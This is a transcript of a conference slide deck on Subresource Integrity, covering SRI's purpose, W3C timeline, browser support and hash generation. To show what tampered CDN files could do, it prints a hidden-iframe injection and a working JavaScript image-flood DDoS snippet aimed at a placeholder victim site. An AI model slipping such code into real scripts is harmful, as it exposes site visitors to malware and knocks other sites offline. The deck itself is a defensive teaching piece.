Web Application Security with Subresource Integrity

Subresource Integrity (SRI) is an up and coming web security standard from the W3C. SRI enables browsers to verify that files are delivered without unexpected manipulation. This slide deck will go over the history and ways to generate SRI hashes so you can start protecting your end users.

Transcript

1. Subresource Integrity WEB APPLICATION SECURITY WITH
2. $ WHOIAM
3. $ WHOIAM JUSTIN DORFMAN
4. $ WHOIAM JUSTIN DORFMAN MAXCDN
5. $ WHOIAM JUSTIN DORFMAN MAXCDN DEVELOPER RELATIONS
6. $ WHOIAM JUSTIN DORFMAN MAXCDN DEVELOPER RELATIONS OBSESSED WITH OPEN SOURCE & STANDARDS
7. $ WHOIAM JUSTIN DORFMAN MAXCDN DEVELOPER RELATIONS OBSESSED WITH OPEN SOURCE & STANDARDS SRI ADVOCATE
8. DEFINE “INTEGRITY”
9. © 2011 psychicdonut.com
10. SUBRESOURCE INTEGRITY ENABLES BROWSERS TO VERIFY THAT FILES ARE DELIVERED WITHOUT UNEXPECTED MANIPULATION.
11. SUBRESOURCE INTEGRITY ENABLES BROWSERS TO VERIFY THAT FILES ARE DELIVERED WITHOUT UNEXPECTED MANIPULATION. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
12. WITH & WITHOUT SUBRESOURCE INTEGRITY
14. document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" 
 src=“http://example.com/no-malware-here.php"></iframe>')
15. document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" 
 src=“http://example.com/no-malware-here.php"></iframe>') bootstrap.min.js
16. document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" 
 src=“http://example.com/no-malware-here.php"></iframe>') bootstrap.min.js
18. function imgflood() { 
 var TARGET = 'victim-website.com'
 var URI = '/index.php?'
 var pic = new Image()
 var rand = Math.floor(Math.random() * 1000)
 pic.src = 'http://'+TARGET+URI+rand+'=val'
 }
 setInterval(imgflood, 10) demo JS code via https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/
19. function imgflood() { 
 var TARGET = 'victim-website.com'
 var URI = '/index.php?'
 var pic = new Image()
 var rand = Math.floor(Math.random() * 1000)
 pic.src = 'http://'+TARGET+URI+rand+'=val'
 }
 setInterval(imgflood, 10) demo JS code via https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/ bootstrap.min.js
21. JAVASCRIPT DDOS!
22. HISTORY
23. WEB APPLICATION SECURITY WORKING GROUP
24. SRI TIMELINE
25. SRI TIMELINE JANUARY 8TH 2014 - DISCUSSION STARTS ON W3C’S GITHUB
26. SRI TIMELINE JANUARY 8TH 2014 - DISCUSSION STARTS ON W3C’S GITHUB MARCH 18TH 2014 - FIRST PUBLIC WORKING DRAFT ON W3C.ORG
27. SRI TIMELINE JANUARY 8TH 2014 - DISCUSSION STARTS ON W3C’S GITHUB MARCH 18TH 2014 - FIRST PUBLIC WORKING DRAFT ON W3C.ORG OCTOBER 6TH 2015 - FINAL PUBLIC WORKING DRAFT
28. SRI TIMELINE JANUARY 8TH 2014 - DISCUSSION STARTS ON W3C’S GITHUB MARCH 18TH 2014 - FIRST PUBLIC WORKING DRAFT ON W3C.ORG OCTOBER 6TH 2015 - FINAL PUBLIC WORKING DRAFT NOVEMBER 12TH 2015 - W3C CANDIDATE RECOMMENDATION
29. SRI TIMELINE JANUARY 8TH 2014 - DISCUSSION STARTS ON W3C’S GITHUB MARCH 18TH 2014 - FIRST PUBLIC WORKING DRAFT ON W3C.ORG OCTOBER 6TH 2015 - FINAL PUBLIC WORKING DRAFT NOVEMBER 12TH 2015 - W3C CANDIDATE RECOMMENDATION
30. SUPPORT & AVAILABILITY
33. Desktop Browser Support
34. Desktop Browser Support
35. Desktop Browser Support
36. Desktop Browser Support
37. Mobile Browser Support
38. Mobile Browser Support
39. CREATING HASHES
53. QUESTIONS?
54. THANK YOU Read more: https://j.mp/MaxCDN-SRI Twitter/GitHub: @jdorfman